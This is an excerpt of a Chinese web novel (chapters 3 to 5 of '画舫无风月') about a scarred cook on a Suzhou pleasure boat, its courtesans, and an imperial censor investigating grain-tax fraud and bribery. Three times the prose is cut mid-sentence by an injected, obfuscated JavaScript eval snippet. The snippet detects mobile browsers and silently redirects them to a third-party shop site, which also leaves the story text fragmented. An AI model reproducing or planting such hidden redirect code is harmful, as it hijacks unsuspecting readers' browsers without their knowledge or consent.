《画舫无风月》 3. 第 3 章 花巧珍昨日没睡好，但大早就被胡老爷推醒，让去伺候顾大人起床。她一肚子不适意，但转念想好歹是顾大人而不是这头猪猡，心里又好过了一些。 上楼正好看见萱草端着漱口杯、洗脸盆出来，脸上的笑意犹未收尽，巧珍不由上前揪了她的耳朵，拎到一边才低声说：“小骚货，又想着勾搭客人了？这可是我的客人！” 萱草吃了一吓，但画舫上的规矩，非但不敢跟头牌姑娘倔强，甚至都不敢出声叫疼，龇牙咧嘴地被甩到一边，才委屈地摸了摸疼痛的耳朵，说：“妈妈不是说要带着笑服侍客人嘛……” “不是你这种媚答答的笑！”巧珍点破萱草的心思，抱着胸冷冷问，“顾大人起身了，有没有说要做什么？” 萱草说：“他要吃鱼面。” 巧珍诧异了一瞬，而后想：这顾大人也是个奇葩，到画舫上来的人，首要是来嫖.宿的，其次也是来蹭些山珍海味的，再或是谈生意、讲斤头、求说合事情的。而他呢？昨日酒桌上，胡老爷等人上赶着拍着他的马屁，可他既不讲风月，也不谈公事，只顾着埋头吃饭，又不觉得他胃口好；席面间对弹琴唱曲、吟诗行令，他是丝毫不感兴趣；“借干铺”也真是只借了个“干铺”，什么都没干。 却几次三番地惦念着要吃鱼面。 可惜她尚有任务，要“伺候”好顾大人。伺候好了有赏，伺候得不好——胡老爷半开玩笑地说要把她送到县衙里打顿板子以示惩戒。 巧珍又叹了一声自己命苦，打算先去催鱼面，再找机会和顾大人套套近乎，尽快弄上手再说。 她威严地对萱草说：“去，看看阿侧有没有把鱼面做好，做好了我亲自端给顾大人。” 萱草迫于她的威严，不敢不从，但到了楼下又是一副嘴脸，颐指气使地对地位在画舫底层的侧寒和阿珠说：“巧珍姐问鱼面做好了没有？客人可等着要呢。” 侧寒说：“没有合适的草鱼。” 萱草指着水缸里的几条活鱼：“这不是鱼？” “这是白条，可不适合做鱼面。” “白条怎么就不能做鱼面了？” 侧寒知道这些小大姐虽是使唤丫头，但花妈妈也会挑些面目姣好的清秀佳人来培养，所以亦是一般的四体不勤、五谷不分，除了伺候男人，什么都不会。所以她看上去很好脾气地说：“白条刺特别多，要是卡了客人可怎么办？” 萱草皱皱眉：“那多花点时间把刺拣掉呗。” 侧寒指了指鱼缸：“那你请试试？” 萱草不屑道：“我？我难道是做这些厨下活计的人？” 又说：“你仔细，并不是我要吃鱼面，是昨儿那位尊贵的顾大人要吃鱼面的！你弄不好，仔细你的皮！”眼睛一翻，离开了烟雾缭绕的厨房。 阿珠气得半死，看不见人影时边低声骂道：“臭蹄子不知仗了谁的势！到我们这里来狐假虎威来了！也并不是个美人儿，还尽想着巴结爷们儿！……” 又赌气说：“我总有一天要离开这鬼地方！” “去哪儿？回家去？你爷娘有钱赎你了？” 阿珠回答道：“不是，他们哪赎得起！我是说去楼上，去巧珍那一层，也做头牌姑娘！” 原来她说的“鬼地方”指的是厨房。 侧寒一怔，苦笑了一下：“楼上又是什么好地方……” 她准备的早餐是清粥和点心，热腾腾地留在蒸屉里，随便客人什么时候起床都可以吃上热乎乎的。 巧珍打发萱草下楼催了几次鱼面，侧寒都说：“说了今儿没买到草鱼，其他鱼做不出鱼面来。” 而萱草只知道重复“是顾大人要吃鱼面的”，最后侧寒扬了声儿说：“你去告诉客人，草鱼才能做鱼面！今儿没有草鱼！做不出鱼面！巧妇也难为无米之炊，没有草鱼我也没办法！”那泼辣的声儿几乎传到整条船上。 最后连花妈妈都下厨房来，她那双犀利的眸子死死地盯了侧寒一会儿，说：“怎么，这么多乌篷船，就没有买到一条草鱼？” “是。” “阿侧，我素来对你好不好你晓得的。”花妈妈说，“你要故意跟我淘气，我的鞭子可不长眼睛。” 侧寒低着头，交握着双手：“妈妈，我晓得的，也不敢的。” 花妈妈了解她骨子里带着的顽固，眯着眼给她足够的压迫之后，才上楼。 楼上传来她爽朗而谄媚的声音：“顾大人，千万见恕。我们家阿侧知道大人身份贵重，想着要做鱼面就得做最正宗的，可惜最正宗的鱼面必须得用草鱼——啊呀，偏生呢，今日没有草鱼卖！……顾大人，你不妨尝尝我们家的苏式点心，也是阿侧的拿手，小笼里的馅儿是今日早上和着鲜虾仁调的，煮干丝配了六味好海货吊的汤，还有水晶饺、肉烧麦、梅花糕、芡实糕、莲蓉饼……保管都好吃得很！你尝尝看！” 顾喟坐在奢华的花厅里，看着侧寒带着阿珠把一道道点心布上来。 花妈妈一脸谄容叫他“尝一尝花月舫的手艺”，胡老爷挺着大肚皮承诺说“明儿必有鱼面了”，巧珍娇滴滴地把点心一个个夹在他和胡老爷的盘子里，抱怨着“阿侧真是太不晓事了，顾大人可千万别和她计较！”…… 侧寒任凭巧珍阴阳自己，木着脸站在一旁，清晨的光透过船上的窗棂照在她的脸上，疤痕尤为刺眼。 顾喟随意吃了两口，就说“饱了”，一张脸也一直是板着的。但那星眸剑眉，板着脸也显得俊朗。餐后喝茶的样子，更有一番清俊公子的端庄做派。 胡老爷心里有气，见顾喟说“吃好了，去看看公事吧，没的耽误了可不行。”，他便急忙趋步跟上，好像要扶顾喟上岸边跳板，但顾喟步伐矫健，根本不用他扶，胡老爷只能上岸后回头对花妈妈喝道：“今日无论如何要买草鱼，无论如何要有鱼面！这点子小事都办不好，我看你花月舫是不想吃这碗饭了！” 顾喟的步子停了停，但既没有回头关注，也没有出语转圜。就停了停，又向岸边而去，径直坐上给他准备好的绿呢轿子，轿帘放下，他那张板着的俊朗面孔便给遮住了。 花妈妈不胜其烦地揉了揉眉心，对侧寒说：“你都听见了？今日无论如何要买到草鱼。山塘河里的渔船上买不到最新鲜的，就到鱼市去看看，实在再没有，随便花鲢还是青鱼，也不是不行！这个顾大人是钦差，县衙、府衙都是格外巴结着他，要是我们花月舫给他们做了筏子，关门回家都是小事，只怕要到监牢里坐坐、拶子的苦头吃吃了。” 侧寒沉默了一会儿，说：“好的，妈妈，我晓得了。” 阿珠和她一道去鱼市买鱼，难得可以出门自然高兴得很，换了套鲜亮的衣裤，又伏在侧寒耳边说：“阿侧姐，逛完鱼市，我们去旁边的观前街逛一逛好不好？” 生恐她不答应，悄悄摇了摇她的手撒娇：“回来后，杂碎活计我不偷懒，一件件都认真做——烧火、杀鱼、和面我都认真做！” 侧寒仍是半旧的家常衣裤，还加戴了帷帽。鱼市里有大草鱼，蔫蔫地躺在木头盆里。她心里不想给那个人做鱼面，反感他现在的冷漠，以及“首辅家的孙女婿”的身份，但也许没有选择的余地。 买了鱼，慢悠悠陪阿珠在观前街逛，那里有好多大小商铺，繁荣的景象不啻于画儿里的描摹。阿珠兴奋得很，估衣铺子、绸布铺子、首饰铺子、水粉铺子……她大半都买不起，但不妨碍一家一家去看看。 “阿侧姐阿侧姐，这条裙子好看不好看？” “这朵绢花跟真的一样！” “这粉好香，搽上去能白不少呢！” 小姑娘眼睛里都是对富贵生活的向往，尤其在水粉铺子试用那些胭脂水粉的时候，恨不得都往脸上抹：“巧珍好看也不过是靠涂涂抹抹。阿侧姐，我长大后，抹上茉莉粉，搽上玫瑰胭脂，用螺黛也那样画一对远山眉，再穿上巧珍那样的水红衫子碧绿八破裙，是不是也会很好看？” 店铺的伙计看出来这小囡没钱，就是来白试的，从开始的殷勤渐渐变成了不耐烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926119|192727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“小娘子，你已经试了三种水粉、六种胭脂了，到底买不买？” 阿珠讪讪地放下爱不释手的一盒胭脂，又撺掇侧寒：“阿侧姐，你应该攒下一些赏钱了吧？你买点粉，可以遮一遮疤。我姆妈说‘一白遮百丑’，你五官长得那么好看，但凡脸上白皙光滑些，就一定是个大美人。” 侧寒始终连帷帽都没有摘下，说：“厨下的粗使丫头，哪有几个赏钱？也犯不着打扮。你也别乱花钱，攒些银子将来让你爹娘给你赎身要紧。” 阿珠不由骨嘟着嘴放下手里的胭脂盒子，抱怨着：“厨下那点工钱，攒够身价银子要等猴年马月？还是巧珍来钱快，天天穿金戴银、吃香喝辣的。就我命苦……” 侧寒无法跟这个还没长大的小女孩讲，巧珍赚钱受的是怎样的折磨，她只能摸摸小女孩的头：“阿珠，她那碗饭不是轻易吃得的，你还小，可别存了攀比她的心思……” 做鱼面很麻烦，侧寒回到花月舫，在厨房间忙了好久。 大草鱼被取了肚腹脊背上两片肉，其余鱼头、鱼骨被她“当当”剁成几段，和葱姜一起丢入油锅煎着。她眼睛瞥一瞥油锅，摇动了几下锅柄，然后按住雪白的鱼肉，侧着刀锋一点点刮鱼茸。 “阿珠，鱼头鱼骨两面煎好了，我考考你，用冷水还是用滚水吊汤？”她笑融融地问。 阿珠紧张地咬了咬嘴唇，才说：“滚水罢？” “不错。”侧寒笑道，“还不快加滚水？” 阿珠便舀了一瓢炉灶上的沸水，“滋啦”一声浇到煎鱼的锅里，腾起的水雾里带着鱼的鲜香。 “花雕酒备在一边。”侧寒不紧不慢却又不会失时地吩咐道，手里的活计也没停下，菜刀“刷刷”的，她像在演绎某种舞蹈似的，动作很漂亮。 阿珠等煎锅里的汤再次沸腾，往里倒入花雕酒，这才放松下来，问：“咦，这鱼肉为什么不像狮子头一样切块再剁呢？” 侧寒耐心地教她：“狮子头要剁，因为剁成小粒再摔打容易出胶，团得住、有弹性、而不柴；鱼肉要刮成茸后搅打，口感才细腻滋润，一会儿和到面粉里再擀成面条，不会一扯就断，反而能把鲜味融进去。这样做出来的鱼面，货真价实，滋味鲜美，软弹劲道。” 亲昵地一点阿珠的额头：“你慢慢学，将来花月舫上最好的厨娘就该是你了。” 阿珠才不想做厨娘，厨房里烟熏火燎、又烦又累，还没有多少赏钱。 只是她知道自己不够好看，买她时身价银子便宜得很，花妈妈瞥她一眼就叫她下厨去，她连萱草那样的伺候客人的小大姐都做不上。只能幻想自己搽上胭脂水粉，再好好保养打扮，或许像大人说的那样“长开了”的时候，能摇身一变成了个漂亮大姑娘，然后就可以陪客人吃吃饭、弹弹曲，就大笔大笔拿赏钱了。 正想着这些美好的场景，楼上补觉的巧珍醒了，大声喊阿珠给她倒热水来洗漱。 少倾，巧珍洗漱完毕，慵慵地下楼吃饭：“阿侧，昨儿我喝多了胃里难受，你就盛粥来我吃点。” 但她的胃喝伤了，吃了点粥都疼得厉害，然后呕逆，吐出来的脏东西里赫然的血丝。 侧寒说：“喝点蜂蜜水吧。今晚上可不能这样没命地喝了。” 巧珍自己吐了血也害怕，难得对侧寒客客气气的，也是想找个人倾吐：“哪个想拿命来喝酒呢？还不是胡胖子逼的！他说那个叫顾喟的，是京城里派下来的巡按御史，虽只是七品官，但‘代天子巡狩’，权力大得很，连府尊老爷也不能不巴结的。这次说又是要查什么案子的，我估计他们心里有鬼，所以想着法儿要拿下顾大人，能和他们沆瀣一气，好为他们遮掩——以往他们带过来的那些当官的不也都这样！” 当红姐儿，见多识广。 “拿下”顾喟，看来不太容易，唯只好在顾喟不是那类又丑又臭又猥琐的糟老头子，服侍起来没那么恶心。 巧珍这样开导自己，啜了两口蜂蜜水，胃里又翻上来一阵刺痛，需默默隐忍。 4. 第 4 章 “那位顾大人叫——顾喟？”侧寒试探着问，“这个名字好奇怪。” 巧珍说：“不奇怪，昨日典史毛老爷就说了，这是用的‘夫子喟然叹曰’的典故，所以那顾大人字是‘子然’，是山东那里一户读书人家的公子。年纪轻轻，前年殿试就点了探花郎，进了都察院，这次便是作为巡按御史来苏州查案子的。他长得又俊，被首辅武大人看中，挑做孙女婿，现今六礼才完，大婚已毕，是相府的近亲，将来前途不可限量。” “他背后有人，我看胡老爷他们几个也格外巴结。” 侧寒有几分好奇，又问：“那他来苏州查什么案子呢？” 巧珍心里有几分牢骚，所以也口无遮拦：“嗐，县衙府衙那帮爷们，吃拿卡要样样精通。近来倒没听说哪家哪户被冤枉得上京告御状去了，那估摸着就是查银钱上的问题。依我看，查他们，是一查一个准，而且会拔起萝卜带起泥，就没一个是好东西的！” “但是吧，”她又闲闲道，“他们无非吃准了这帮子京官也是一样贪财好色的货色，送够了礼、伺候到了位，没什么事是压不下去的——以往不都是这么压下去的？就连邹家那桩血案，人都京控去了，最后还不是由巡按大人带着卷宗发回县衙重审？无非是死囚牢里提溜出来再加一顿毒打，打得再不敢翻案了罢了。你看当时那位巡按大人又说了啥——说‘刁民无状，希图诬陷府尊，撇清罪责’，最终冤枉得罪加一等，脑袋都没了。巡按大人则是带着沉甸甸的腰包回京复旨去了，哦对了，那时伺候巡按的是荔芳园的小桃红，也美滋滋赎了身，当了姨奶奶跟着上京了。” 侧寒笑道：“上京当姨奶奶，看来是好事啊。” 巧珍思忖了一下说：“也好，也不好。好的是终于不用吃这碗断头饭了；不好的是那巡按大人是个糟老头子，行那事儿还得用银托子，让小大姐在后面抱着腰帮忙，不然成不了事。” 她前仰后合冲着侧寒笑起来：“你看你脸都红了！天天见的，不就那么回事吗？在这画舫上，姑娘家最好的结果无非嫁个好恩客，不然，还终老在这里不成？哎呀，横竖横也是苦命的人，只是苦里面寻那么点不苦罢了。” 她看着侧寒丑陋的疤痕脸，心里有对比之后的熨帖，话语里更加了三分指点江山的傲慢：“你呀，也不要太老实，遇到机会要把握住。有的人家纳妾是希图伺候的手艺的，不看脸，强过在外头赁人干活；你呢，嫁入这样的人家虽然也辛苦，但饱饭还是有的吃的，比嫁乡下人强。” 侧寒笑道：“妈妈对我厚道，我就在花月舫做一辈子厨娘不嫁人，也挺好的。” “哪有女人不嫁人的？”巧珍捂着嘴笑，“你还是个憨囡。” 不觉到了晚上，巧珍换了身更鲜亮的打扮，在船头翘首盼到了胡县丞和顾喟一行人，不由舞着手帕老远就笑道：“哦哟，等得奴实在心焦，不过总算等到贵人们玉趾降临。这么晚了都该饿了吧？厨娘饭菜也备好了，就等着老爷们来品鉴了。” 几个人上了跳板，巧珍按着胡县丞的眼色指示，一把抱住了顾喟的胳膊，细细的腰身在他身侧蹭啊蹭的：“顾大人，想奴奴了没？” 顾喟抽了抽胳膊，没成想巧珍居然抱得挺紧，他直到坐上主位才甩开了她蛇一般的纠缠，手指有意无意地叩击着花梨木桌的台面，眼睛似眯不眯，表情似笑不笑。饭桌上沉寂了一会儿，侧寒带着阿珠铺陈了八道冷盘菜，几个船娘给男人们满上了酒。 顾喟慢悠悠道：“今日账目，我有几处不解，请胡县丞指教。” 胡县丞急忙起身，捧着酒杯往顾喟手心里塞，乱以他语：“忙了一天了，顾大人先喝两口，歇歇再说公事不迟嘛。” 顾喟手捏着白瓷的杯子，笑得阴刻：“不急，不急。胡县丞专管附郭吴县中的漕粮、户籍、仓库，怎么今年的征收钱粮和南直隶报来的姑苏灾情并不吻合？” 胡县丞陪着笑，暗暗却咬着后槽牙，好一会儿终于说：“江南财赋半天下，苏州今年受灾是实，稻米收成少了七成不止，抚台大人上报灾情至部，便是说此事。但桑麻和棉减产有限，老百姓折色纳银也不是交不起——纳粮总归是为天子！” 他向空抱拳，眉梢一挑，给扣了好大一个名头。 接着又说：“当然，当然，顾大人有拳拳爱民之心，下官也晓得。放心，姑苏富有，百姓赚钱的门道多，不至于不聊生的。” 见顾喟似乎也松弛了，于是他重新把警觉的神色换做谄媚，躬身劝酒：“先喝一杯，公事明日再谈嘛；衙门里账本还有好大一堆，明日下官在一一为大人解释嘛。今朝有酒今朝醉，明日愁来明日愁。——巧珍，劝顾大人喝呀！” 巧珍觉察出此刻的暗流涌动，不得不劝酒，却又心里恐惧，声音颤颤的：“顾……顾大人，今日的酒是上好的女儿红，你尝尝看。” “不急，一会儿再喝。”顾喟挡开她伸过来的杯子，扯着半边嘴角的笑，只盯着胡县丞。 胡县丞只能转而盯着巧珍：“巧珍，顾大人不喝你的酒，那就是你的不是了。” 巧珍额角出汗，鼻翼的脂粉浮了起来，面庞显得虚伪可笑。她咬咬嘴唇，强笑道：“顾大人一点都不看奴奴的面子么？许是奴奴没伺候好，叫顾大人生气了？那奴奴先干一杯，给顾大人陪个不是。”仰头喝了一盅女儿红。 顾喟只瞥了她一眼，仍斜乜胡县丞。 胡县丞暗暗骂这愣头青小子不懂人事，却只能用巧珍作筏子：“巧珍，喝酒哪有只喝单杯的？陪顾大人喝个双杯呀。” 巧珍胃里已经开始作痛，却不敢不陪着笑给自己又斟了满满一杯酒：“顾大人你看，喏，奴奴再饮一个双杯。”“滋溜”又干了一杯酒，女儿红有些甜口，但此时在她嘴里却漫起一阵苦味。 顾喟一声冷笑，丝毫不为所动。 巧珍自知烫手山芋已然在自己手里摆着，索性故作爽朗地笑道：“绸缪束薪，三星在天，今夕何夕，见此良人？今朝这么好的日子，奴豁出去了，再陪顾大人饮一杯。”决绝地又倒了一杯酒在口里。那一线酒液下肚，比平常感觉烫了好多，空荡荡的胃里开始翻江倒海，抽搐地疼起来。“了不得！”巧珍用帕子捂着嘴，连“对不住”都来不及说，飞快地跑到痰盂边吐了起来。 吐出来都是黄黄的酒液，酒臭夹杂着胃酸，最后干呕出来胆汁，苦得眼泪都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926120|192727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了。 男人们毫不以为意，眯着眼还在桌席上斗心思。侧寒过去拍拍巧珍的背，递过去一杯蜂蜜水。 巧珍心里陡然一酸，轻轻说了句“谢谢你”，悄悄擦干眼泪，又重新换了爽朗的笑容，走上宴席：“空腹喝酒实在遭不住。顾大人，你也疼疼奴嘛……” 侧寒上前问：“各位老爷，鱼面今日已经做了——太费事，怕明天早晨再做会来不及——现在要不要先吃一碗垫垫饥？” 胡县丞抓住救命稻草一样看向顾喟：“顾大人，那先吃一碗鱼面吧。” 顾喟半日才点点头：“好，先吃面。” 这痴儿竟对一份面如此执拗！ 胡老爷松了一口气，但也对顾喟格外警觉，想着还有什么手段可以制伏他。 侧寒很快端来一大份鱼面，汤色奶白，飘着葱花和芫荽，面也是雪白的，揉成韭菜叶的宽窄。她挑起面，一份份分到小碗里，递到每个客人手上。 顾喟吃了一口，说：“粉味重了些，鱼味不太浓。” 侧寒回答：“鱼多了加面，面多了加鱼，今日是面多了。” 又说：“但汤很好，可以吊出面的鲜味。不妨先喝汤，自然得趣。” 顾喟若有所思，喝了一口面汤。 汤烫口，他的舌尖一阵麻。 感觉侧寒在点他，但这感觉似有似无的。 眼角的余光能看到胡胖子魂不守舍的神色，他眸子深处还有一丝毒辣。胡县丞敢做自己的局吗？敢灭自己的口吗？顾喟亦警觉起来。 吃完面，顾喟道：“很落胃，但要起身吹吹夜风、消消食才好。” “是是，接下来还有花月舫的拿手好菜，是要消消食才好继续品尝。”胡县丞笑道，“山塘河月色宜人，岸边红枫正是当季，卑职陪顾大人到船舷处赏赏月色吧。” 夜晚的山塘河果然不同于白昼。如果说白昼是江南水乡的热闹场景，夜晚就是清风徐来、水波不惊的雅致了。天空是一弯新月，几点秋星点缀天幕，河水悠悠地流动，除却水波上散着的万点银光外，天地万物竟给人一种不动入画的错觉。不知何时，远处传来低沉的钟声。顾喟问：“这是‘姑苏城外寒山寺，夜半钟声到客船’的钟声么？” “不错，不错。”胡老爷笑道，“不过张继听姑苏的钟声是遍体寒意，愁难入眠；顾大人如今正是最好的年华，想来同样的钟声却能听出不同况味来的。” 又压低声音道：“顾大人，卑职怕交浅言深，有些话还没敢和大人深聊。我们知县王太爷一直仰慕顾大人好文才、好体面，只是这几日忙在乡下赈灾，没赶得回来，只能由卑职先行接待大人，实在并不是敢怠慢大人。” 他的声音愈发低下去：“顾大人，以往地方上的冰炭敬到都察院，分到各位御史大人手中也没几个子儿。其实王太爷是准备单独给顾大人的一份礼敬，将来还希望顾大人牵线，能得以拜会尊岳祖武首辅。” 他的手塞过去一张什么东西在顾喟的衣袖中：“这是姑苏城信用最好的信达钱铺的‘会票’，在南直隶各家钱铺均可见票直兑。是王太爷和我们哥几个的小小心意，请顾大人哂纳。” 5.第 5 章 顾喟推拒了几下，没有推得过，加之也想看看胡县丞他们究竟打着什么心思，半推半就间便收下了。 胡县丞也松了口气，再次邀顾喟入席。 就着冷盘喝热酒，三巡之间，席面一片热闹，巧珍抱了琵琶唱了两首小曲，胃疼渐渐缓了过来。 俄而热炒也一道道上桌，精美绝伦，滋味丰富，胡县丞带头叫妙：“顾大人，今朝花月舫真是看家本领都拿出来了。人生在世，食色性也，莫要辜负良辰。” 饭毕，巧珍又主动伺候客人上楼洗漱。解衣就寝的辰光，顾喟按住她伸过来解他衣带的手：“胡老爷怎么跟你说的？” 巧珍愣了愣，才说：“胡老爷叫奴伺候好顾大人呀。” 顾喟笑道：“他这粗鄙之人，估计也就喝酒的能耐好了。” 巧珍说：“胡老爷的量可还没奴高，喝多点脑子就不清爽，胡说八道的来，所以有要紧事的辰光，他不会多喝，放松时才喝过瘾。不过奴虽然不容易醉，喝多了胃疼。” 顾喟道：“怪不得今朝看你总悄悄按着肚子，敢情是喝伤了胃疼得厉害么？那怎么还要你来伺候我？他怎么这么不顾惜人呢？” 居然有几分知疼着热的意味。 巧珍心里一暖，笑道：“奴是什么名牌上的人？能伺候爷，本来就是奴的福分。胃疼、中酒，本就是不值一提的小事。” 边伸手上来为顾喟解衣，边含情脉脉瞥上来。 顾喟今日没有推拒，只默默回应她的目光。 他似乎有笑意，又似乎没有。 他眸子很黑，像一口古井，没有波澜，但似有深深的漩涡，引着人的魂魄往里吸。巧珍看着那黑色漩涡里映照出来的小小的自己，一时有自惭形秽的感觉。 “顾大人……”她低声呢喃，往昔，男人常会被这柔媚的声音蛊惑。 他的声音却似乎更蛊惑人心：“你我，都是可怜人哪。”手指撩开巧珍鬓边一缕乱发，指背有意无意地拂过她的眼角。 巧珍心里一阵战栗，有气无力说：“顾大人说笑了，奴是可怜人，顾大人是……人上人。” 他笑道：“那是你不懂我。” 又说：“或许，我们也有相似之处，同病相怜呢。我知道你过得不容易。” 吃船娘这碗饭，就没有容易的，巧珍一震，陡然被勾起了往昔无尽的记忆：七八岁被父母卖给画舫，骨肉分离；学弹琴唱曲，吟诗作对，谈吐陪侍，稍有不恰，妈妈就是一顿打骂；第一次接客，身不由己陪了一个糟老头，既疼又羞辱；即便是现在成了当红姐儿，辛酸屈辱亦不待言。 多少委屈！ 他说他同病相怜，哪怕是逢场作戏的假话，也叫人心中震动。 巧珍头靠到他的肩窝，抽噎道：“顾大人，奴都快哭了。” 顾喟不再有刚刚那样的一点点亲昵，侧过头问：“你的声儿有点颤，难道又胃疼了？” 巧珍欲要得他同情心，于是点点头。 顾喟说：“我看你晚上没吃多少东西，不是忙着唱曲就是忙着应酬，又喝了那么多，胃怎么能不疼呢？这会子厨下有没有人在？我叫她们为你下碗面暖暖胃吧？” 他句句都说准了。陪宴的船娘没什么工夫吃东西，空腹饮酒很是难受。而且作为男人那么细心贴心，巧珍的一片心都系在他身上了，感激地说：“怎么能让顾大人为我奔忙？” 顾喟笑道：“你都换了寝衣了，到底有些透漏姿容，还是我跑一跑，正好消消食。等着。” 他穿戴整齐到了楼下，厨房那间还亮着灯。透过窗户一看，侧寒和阿珠还很辛苦，一个忙着备明天的点心和饭菜，一个洗着堆积如山的碗盘，一点不得闲。 他在厨房门口咳嗽一声，等两人目光诧异地转过来时才说：“巧珍胃疼，想一碗热面条吃，费事么？” 这会子吃宵夜，又要做、又要洗碗筷，阿珠当然不高兴，但不敢不答应，小姑娘年纪还小，脸上就流露出“不高兴”了。 顾喟变脸也很快，知道借力打力，扬声道：“花妈妈在吗？” 正准备休息的花妈妈如何敢怠慢，连滚带爬飞奔过来，陪着笑道：“顾大人什么吩咐？” 顾喟道：“想要一碗热面，小丫头好像不大情愿？许是我太唐突了？” 花妈妈立刻一揪阿珠的耳朵，骂道：“反了天了你！顾大人吩咐这点小事，还敢摆脸色？！” 阿珠吓得嘤嘤嘤哭起来。 顾喟说：“我不爱听这声儿，烦劳妈妈出去教训姑娘。” 花妈妈当然不敢也不必违拗他，立刻揪着耳朵把阿珠拖出厨房，骂声和阿珠的辩解声远远地传来，可能还挨打了，少顷就听见阿珠压抑的哭声。 侧寒心里一阵气，默默然扯了一把水面丢进开水锅里，嘟囔道：“真是殃及池鱼！” 顾喟抱胸站在厨房门边，一边关注着门外，一边对门内的人说：“我是有话问你，不想小丫头听见。你跟我骂骂咧咧的，就不怕我扬个声儿，妈妈也过来打你一顿？” 侧寒看他带笑意的眉梢眼角，只觉得他阴险讨厌至极，冷哼道：“你们这些大老爷们原也没把我们这些当人。你没有叫妈妈来打我，倒不必向我卖好儿！我也不会谢谢你！” “真泼悍！”顾喟指着她笑了笑，“我来这两日，只有你老给我脸色看。要不是寻思着当年的一饭之恩，我可真不必对你这么客气。” 侧寒扭头直视着他：“现在也不必！” “有必要。”顾喟笑里总似带着些寒意，“毕竟，你知道的比他们都多，我有点害怕。” 侧寒警觉地望向他，半晌道：“我以前又不认识顾大人，还什么‘一饭之恩’的，你喝多了说胡话呢吧？！” 顾喟挑眉：“你挺见机的，算是我认错人了吧。” “就是认错人了。” 顾喟道：“那‘鱼多了加面，面多了加鱼’，这话什么意思啊？” 侧寒硬邦邦回复：“意思就是‘鱼多了加面，面多了加鱼’，这是我和面的法门，鱼面好吃不好吃的缘由。你们这些人，想太多！” 顾喟说：“好吧，今日看县中的征粮账本，好像皇上之前因苏州报灾而蠲免的钱粮都没有扣减，全是依原例收取，百姓并没有分润半分浩荡皇恩。不过胡县丞说得也不无道理，虽然粮食遭灾减产，但是百姓有其他桑麻收入，那么，多为府库留存一些似乎也没什么不可以了。” 他说完这段后边注视着侧寒的凝重表情，边抬抬下巴：“喂，锅里的水开了，面是不是下好了？” 侧寒手忙脚乱舀了凉水进锅，止住了沸腾的水花，又搅了搅锅里的面，才麻溜地配汤料。越是简单的阳春面越是见功夫，酱油的浓淡、葱油的制法、猪油的多寡，面下的软硬都很关键。面条落入汤碗后，葱油、酱油和猪油的香气便腾起了。顾喟不由说：“好香！” 他对门外喊：“花妈妈，让那小丫头把面端巧珍屋子里去。” 少倾，阿珠抽抽噎噎过来，抹了一把眼泪，净了手，给顾喟蹲安赔了不是，才端着托盘，把面送到二楼去了。 侧寒说：“阳春面放一会儿就会坨了，你不赶紧上去吃面？” 顾喟笑道：“那是给巧珍的，她今儿胃疼，只喝酒不吃东西，哪里吃得消？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930966|192727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你倒挺会疼人的。” 顾喟笑道：“你妒忌她了？” 侧寒一声“呸！” 顾喟若有洋洋之色：“妒忌了也正常，我嘛……也未必没有一饭千金的雅量。面确实香，我的馋虫也给勾起来了，再给我下一碗，阳春面就可以。” 他是客人，即便对他生气也没有不答应的道理。侧寒不想惹事，冷着脸又扔了一把面条在沸水锅里。 水花翻滚的时候，她突然来了一句：“江南是富庶地方，但富庶也是官绅富庶，老百姓一遇灾年，卖儿鬻女并不少见。阿珠就是去岁乡下家里养不活了，才进了我们这个鬼地方，终身死契，一辈子……就这样注定了，现在还免不了因客人的一句话挨打受气。” 顾喟的笑意渐渐凝固，认真地听她说话。 侧寒垂着头，并不看他那双眼，好一会儿才又说：“再说，皇上蠲免苏州府钱粮，官府依样收取，难道还都用漕船解入直隶了？其间花样繁多，你若听他们说什么就是什么……哼。” “那便怎样？” “倷也是个阿木林！”（1）她在姑苏腔的官话里突然插了这么句纯粹粹、俏伶伶的苏州土话，顾喟一下子没听懂，愣住了。 侧寒不由也是一笑，又急忙收住，赶紧往锅里捞下好的面条。 她下的阳春面也非常好吃。顾喟先洗了手，指甲缝里都搓得干干净净，然后慢慢吃完，回头看见阿珠正满脸泪痕站在一边等着收碗去洗。 顾喟说：“对不住啊，刚刚无心一言，是不是害你挨打了？” 阿珠再气恨他，也不敢稍有流露，摇摇头，扁着嘴说：“是奴不好，活该的。” 顾喟客客气气问：“巧珍的面吃完了？” “嗯。” “你是苏州乡下人？” “……嗯。” “那你应该懂苏州的土话？”顾喟学着舌问，“‘倷也是个阿木林’是什么意思？” 阿珠疑惑地看了他一眼，他笑意满满的，温和可亲，好像是真心在求教。于是她试探着说：“这不是句好话，是说一个人是呆瓜。” 